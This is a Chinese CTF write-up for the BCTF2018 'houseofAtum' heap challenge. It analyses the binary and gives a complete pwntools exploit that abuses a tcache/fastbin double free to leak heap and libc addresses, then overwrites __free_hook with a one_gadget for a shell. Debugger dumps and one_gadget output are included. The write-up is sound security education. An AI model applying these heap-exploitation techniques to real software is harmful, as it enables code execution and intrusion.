其他
BCTF2018-houseofatum-Writeup题解
本文为看雪论坛优秀文章
看雪论坛作者ID:wx_大东_202
patchelf --set-interpreter ./glibc-all-in-one/libs/2.26-0ubuntu2_amd64/ld-2.26.so --replace-needed ./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6 ./glibc-all-in-one/libs/2.26-0ubuntu2_amd64/libc-2.26.so houseofAtum
一
程序分析
bigeast@ubuntu:~/Desktop/ctf$ ./houseofAtum
1. new
2. edit
3. delete
4. show
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
initialize(argc, argv, envp);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
v3 = menu();
if ( v3 != 2 )
break;
edit();
}
if ( v3 > 2 )
break;
if ( v3 != 1 )
goto LABEL_13;
alloc();
}
if ( v3 == 3 )
{
del();
}
else
{
if ( v3 != 4 )
LABEL_13:
exit(0);
show();
}
}
}
int alloc()
{
int i; // [rsp+Ch] [rbp-4h]
for ( i = 0; i <= 1 && notes[i]; ++i )
;
if ( i == 2 )
return puts("Too many notes!");
printf("Input the content:");
notes[i] = malloc(0x48uLL);
readn(notes[i], 72LL);
return puts("Done!");
}
这里72=0x48,72LL表示用8字节来存储72。没有在字符串末尾添加/x00,而且没有初始化,可能存在泄漏。利用visit或者show函数打印的时候就能泄漏了。
unsigned __int64 del()
{
int v1; // [rsp+0h] [rbp-10h]
char v2[2]; // [rsp+6h] [rbp-Ah] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Input the idx:");
v1 = getint();
if ( v1 >= 0 && v1 <= 1 && notes[v1] )
{
free((void *)notes[v1]);
printf("Clear?(y/n):");
readn(v2, 2uLL);
if ( v2[0] == 121 )
notes[v1] = 0LL;
puts("Done!");
}
else
{
puts("No such note!");
}
return __readfsqword(0x28u) ^ v3;
}
二
漏洞利用的参考程序
受上文的启发,虽然他的图画错了(头节点不应该指向其fd而应该指向chunk头)。
实验该参考程序过程发现了一个小现象:
当malloc(0x20),分配的chunk的size为0x21
当malloc(0x28),分配的chunk的size为0x21
当malloc(0x29),分配的chunk的size为0x41
#include <unistd.h>
#include <stdlib.h>
#include <malloc.h>
void main(){
void *a = malloc(0x28);
void *b = malloc(0x28);
// fill the tcache
for(int i=0; i<7 ;i++){
free(a);
}
sleep(0);
free(b);//fast bin
//What will happen with this:
free(a);// fast bin
}
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555757000
Size: 0x251
Free chunk (tcache) | PREV_INUSE
Addr: 0x555555757250
Size: 0x31
fd: 0x555555757260
Free chunk (fastbins) | PREV_INUSE
Addr: 0x555555757280
Size: 0x31
fd: 0x00
Top chunk | PREV_INUSE
Addr: 0x5555557572b0
Size: 0x20d51
pwndbg> bins
tcachebins
0x30 [ 7]: 0x555555757260 ◂— 0x555555757260 /* '`ruUUU' */
fastbins
0x20: 0x0
0x30: 0x555555757280 ◂— 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555757000
Size: 0x251
Free chunk (fastbins) | PREV_INUSE
Addr: 0x555555757250
Size: 0x31
fd: 0x555555757280
Free chunk (fastbins) | PREV_INUSE
Addr: 0x555555757280
Size: 0x31
fd: 0x00
Top chunk | PREV_INUSE
Addr: 0x5555557572b0
Size: 0x20d51
pwndbg> bins
tcachebins
0x30 [ 7]: 0x555555757260 —▸ 0x555555757280 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x555555757250 —▸ 0x555555757280 ◂— 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
三
漏洞利用思路
以下分析和调试过程基于以上3点考虑,通过对堆块chunk的灵活操作,成功执行获得shell。
泄露Chunk的fd地址
连续释放同一个chunk7次后,此时通过show即可获得chunk 0的fd的地址,书本中记为heap_addr
--------
tcachebin[7] -> chunk 0.fd <- chunk 0.fd
fastbin[] :null
--------
伪造chunk
根据前面分析,要获得libc的基地址,就要改变chunk0的大小为0x91。
泄露libc地址
为什么创建的是0x50大小的Chunk,而不是0x48?
带详细注释的代码:
from pwn import *
io = process('./houseofAtum')
libc = ELF('././glibc-all-in-one/libs/2.26-0ubuntu2_amd64/libc-2.26.so')
context.log_level='debug'
def new(cont):
io.sendlineafter('choice:','1')
io.sendafter("content:",cont)
def edit(idx,cont):
io.sendlineafter('choice:','2')
io.sendlineafter('idx:',str(idx))
io.sendafter("content:",cont)
def delete(idx,x):
io.sendlineafter('choice:','3')
io.sendlineafter('idx:',str(idx))
io.sendlineafter('(y/n):',x)
def show(idx):
io.sendlineafter('choice:','4')
io.sendlineafter('idx:',str(idx))
def leak_heap():
global heap_addr
new('A') 初始chunk 0,记住这是初始的chunk0空间,后面会反复用到这个空间。
new(p64(0)*7 + p64(0x11))
# 为什么分配两个0x50的chunk? 因为tcache bin和fast
# bin都不会清除preuse,所以在后面将0x90大小的fake chunk放入unsorted
# bin时会检查下一个chunk的preuse位置,若为0则会报错,所以这里一定要在56个字节之后构造一个0x11。
delete(1,'y') #构造完就没用了,可以删掉了
for i in range(6): #构造double free填满tcache bin
delete(0,'n')
show(0)
io.recvuntil("Content:")
heap_addr = u64(io.recv(6).ljust(8,'\x00'))
#输出自己的user data的地址
log.info("heap_addr: 0x%x" % heap_addr)
def leak_libc():
global libc_base
delete(0,'y') #指向初始chunk0的空间,
# 输出完heap_addr也没用了,所以要删掉,会被放进fastbin。
# 此时由于最后一个进入fastbin的chunk的fd会被清0,
# 所以tcachebin的next指针会被清0。
# 此时,
# tcache bin[7]:chunk 0.fd -> 0
# fasbin:chunk 0.presize -> 0
# 为什么在这之后不再直接free一个chunk 0直接修改chunk 0的size呢,
# 再free一个chunk 0它会进入fastbin,
# 会被fastbin检测出double free,
# 上面的参考程序要修改的chunk是另外的chunk,不能是double free的chunk。
# 所以行不通。
# 所以要间接的修改size。
new(p64(heap_addr-0x20))
# 此时得到chunk0指向 初始的chunk0,并且改变了chunk 0的fd ,
# 此时,
# tcache bin[6]:0
# fasbin:chunk 0.presize -> chunk0.presize-0x10 -> 0 ,
# 这里修改后
# 在分配内存的时候不会有任何检查其头部?
# 分配的时候fastbin会检查头部是否符合当前fastbin的大小,
# 但是我们这个chunk我们不会当它在fastBin的时候就分配它。
# 后面我们会先把它转移到tcachebin,而转移到tcache bin的过程貌似不会检查其Size,
# 而在tcache bin的时候再分配它出去,tcache bin不会检查其头部大小
# 同时,还发现entries指针被清空居然不和counts做检查!!!
new('A') #此时得到chunk1指向 初始的chunk 0,
# 由于tcache的entries指针已经被清空,堆块会从fastbin取出。
# 剩下的堆块会被整理到tcache,
# 于是fd指针的地址(chunk0.presize-0x10)会被写入tcache entries,同时counts加1等于7
# 此时,
# tcache bin[7]:chunk0.presize-0x10 -> 0
# fasbin:0,
# 这一步就是为了把fastbin里面的指向chunk0的presize-0x10的chunk放入tcache bin
# 小发现:把fastbin剩余的chunk放入tcache bin会导致tcache bin的count数量改变。
delete(1,'y') # 上面的工作完成后这个Chunk就没用了,释放掉,进入fastbin。
#此时
# tcache bin[7]:chunk0.presize-0x10 -> 0
# fasbin: chunk0.presize
new(p64(0)+p64(0x91)) ##指向初始的chunk.presize-0x10的空间,
# 此时拿到了fake chunk,fake chunk的user data指向初始chunk 0 的presize
# 此时,
# tcache bin 0x50 [6]: 0
# fasbin 0x50 : chunk0.presize
# 此时初始的chunk 0的size已经被修改了。变成了0x91,即大小为0x90。
for i in range(7):
delete(0,'n') #指向初始的chunk0的空间
# 此时会填满tcache 为0x90的bin,并且会改写0x50的fast bin。
# 即此时
# tcache 0x50 bin[6]: 0
# tcache 0x90 #bin[7]:chunk0.fd->chunk0.fd
# fasbin 0x50: chunk0.presize->chunk0.fd ,
delete(0,'y') #指向初始的chunk0的空间
# 此时进入Unsorte bin.
# 此时 ,
# tcache 0x50 bin[6]: 0 ,
# tcache 0x90 bin[7]:chunk0.fd-> main_arena+88
# fasbin 0x50 : chunk0.presize -> main_arena+88
# unsorte bin:chunk0.presize -> main_arena+88
edit(1,'A'*0x10)
# 此时会修改初始chunk0.presize-0x10的usedata,即会修改chunk0的presize和size字段
# 这样后面打印的话方便找到打印的地址在哪。
# 因为chunk0 已经被完全删掉了,
# 或者之前不完成删掉打印完再删掉也行,反正现在只剩chunk1了
show(1)
io.recvuntil('A'*0x10)
libc_base = u64(io.recv(6).ljust(8,'\x00'))-0x3abc78
log.info("libc base:0x%x" % libc_base)
debug(1)
def pwn():
one_gadget = libc_base + 0xdd752
free_hook = libc_base + libc.symbols['__free_hook']
edit(1,p64(0)+p64(0x51)+p64(free_hook-0x10))
# 修改了初始的Chunk0大小为0x50,为什么要改回来?
# 因为后面要从fastbin中new一个chunk0了,
# fastbin会检查size释放应该在此fastbin中。
# 修改了初始的chunk0的fd为free_hook-0x10
# 此时 ,
# tcache 0x50 bin[6]: 0 ,
# tcache 0x90 bin[7]:chunk0.fd-> free_hook-0x10
# fasbin 0x50 : chunk0.presize -> free_hook-0x10
# unsorte bin:chunk0.presize 的fd -> free_hook-0x10 ,chunk0.presize 的bk -> main_arena+88
new('A') chunk0 ,因为这里要new 所以前面必须把chunk0 改回0x50大小
# 指向初始chun0空间
# 这里的作用是把free hook放进tcache bin 0x50
# 此时 ,
# tcache 0x50 bin[7]: free_hook
# tcache 0x90 bin[7]:chunk0.fd-> free_hook-0x10
# fasbin 0x50 :
# unsorte bin:chunk0.presize 的fd -> free_hook-0x10 ,chunk0.presize 的bk -> main_arena+88
delete(0,'y')
# 回收chunk0,没用了。回收进fast bin 0x50
# 此时 ,
# tcache 0x50 bin[7]: free_hook
# tcache 0x90 bin[7]:chunk0.fd-> free_hook-0x10
# fasbin 0x50 : chunk0.presize
# unsorte bin:chunk0.presize 的fd -> free_hook-0x10 ,chunk0.presize 的bk -> main_arena+88
new(p64(one_gadget)) #chunk0
# 取出free hook的空间,然后修改
# 此时 ,
# tcache 0x50 bin[7]: 0
# tcache 0x90 bin[7]:chunk0.fd-> free_hook-0x10
# fasbin 0x50 : chunk0.presize
# unsorte bin:chunk0.presize 的fd -> free_hook-0x10 ,chunk0.presize 的bk -> main_arena+88
io.sendlineafter("choice:",'3')
io.sendlineafter(":",'0')
io.interactive()
def debug(id):
log.info('check point %d' % id)
gdb.attach(io)
pause()
if __name__=='__main__':
leak_heap()
leak_libc()
可直接运行的代码:
from pwn import *
io = process('./houseofAtum')
libc = ELF('./glibc-all-in-one/libs/2.26-0ubuntu2_amd64/libc-2.26.so')
context.log_level='debug'
def new(cont):
io.sendlineafter('choice:','1')
io.sendafter("content:",cont)
def edit(idx,cont):
io.sendlineafter('choice:','2')
io.sendlineafter('idx:',str(idx))
io.sendafter("content:",cont)
def delete(idx,x):
io.sendlineafter('choice:','3')
io.sendlineafter('idx:',str(idx))
io.sendlineafter('(y/n):',x)
def show(idx):
io.sendlineafter('choice:','4')
io.sendlineafter('idx:',str(idx))
def leak_heap():
global heap_addr
new('A')# chunk 0
#debug(1)
new(p64(0)*7 + p64(0x11)) #chunk 1
#debug(2)
delete(1,'y') #delete chunk 1
#debug(3)
for i in range(6):
delete(0,'n')
#debug(4)
show(0)
io.recvuntil("Content:")
heap_addr = u64(io.recv(6).ljust(8,'\x00'))
log.info("heap_addr: 0x%x" % heap_addr)
#new(p64(heap_addr-0x10)) #chunk 1 fake chunk
#debug(1)
#delete(1,'y') # delete chunk 1
#debug(2)
def leak_libc():
global libc_base
delete(0,'y') #fastbin
#debug(0)
new(p64(heap_addr-0x20)) #tcache bin get and fast bin add fake chunk
#debug(1)
new('A') # fastbin get and fastbin fake chunk put to tcache bin
#debug(2)
delete(1,'y') # put to fastbin
new(p64(0)+p64(0x91)) #fake size
for i in range(7):
delete(0,'n')
#debug(1)
delete(0,'y')
#debug(2)
edit(1,'A'*0x10)
#debug(2)
show(1)
io.recvuntil('A'*0x10)
libc_base = u64(io.recv(6).ljust(8,'\x00'))-0x3dac78
log.info("libc base:0x%x" % libc_base)
#debug(1)
def pwn():
one_gadget = libc_base + 0xfcc6e
free_hook = libc_base + libc.symbols['__free_hook']
edit(1,p64(0)+p64(0x51)+p64(free_hook-0x10))
#debug(1)
new('A')
#debug(1)
delete(0,'y')
#debug(2)
new(p64(one_gadget))
#debug(3)
io.sendlineafter("choice:",'3')
io.sendlineafter(":",'0')
io.interactive()
def debug(id):
log.info('check point %d' % id)
gdb.attach(io)
pause()
if __name__=='__main__':
leak_heap()
leak_libc()
pwn()
新发现:不同Libc的unsorte bin在main_arena的偏移不同,Libc2.26是88,Libc2.27是96。
四
总结
gundam:
houseofAtum:
构造完fake chunk后就能修改chunk的大小,从而放入Unsorted bin中泄漏libc地址。泄漏完Libc地址后,又要构造fake chunk来修改free_hook,构造方法同上,也是要在fast bin中构建完后移入tcache bin。
https://bbs.pediy.com/thread-269105.htm
五
one-gadget安装
sudo gem install one_gadget
bigeast@ubuntu:~/Desktop/ctf$ one_gadget ./glibc-all-in-one/libs/2.26-0ubuntu2_amd64/libc-2.26.so
0x47c46 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x47c9a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xfcc6e execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0xfdb1e execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
六
知识点的复习
https://blog.csdn.net/qq_41453285/article/details/97613588
fastbin和Unsortedbin 是后进先出,其他bins是先进先出。
而且fastbin里面的chunk不会进行合并操作,只有当调用malloc_consolidate()的含时候才会取出来与相邻的freechunk合并,所以fast bin的chunk的下一个chunk的PRV INUSE始终为1,处于使用状态。
参考程序:
#include <unistd.h>
#include <stdlib.h>
#include <malloc.h>
int main()
{
int size=0x10;
int size2=0x20;
int *p1=malloc(size);
int *p2=malloc(size);
int *p3=malloc(size2);
sleep(0); //只为了程序打断点,没有其他作用
free(p1);
free(p2);
free(p3);
return 0;
}
#include <unistd.h>
#include <stdlib.h>
#include <malloc.h>
int main()
{
int size=0x100;
int *p1=malloc(size);
int *temp=malloc(size); //防止p1与p2合并
int *p2=malloc(size);
int *p3=malloc(size); //防止p2被top chunk合并
sleep(0);
free(p1);
free(p2);
return 0;
}
看雪ID:wx_大东_202
https://bbs.pediy.com/user-home-859945.htm
# 往期推荐
2.Android APP漏洞之战——Content Provider漏洞详解
4.Android APP漏洞之战——Activity漏洞挖掘详解
球分享
球点赞
球在看
点击“阅读原文”,了解更多!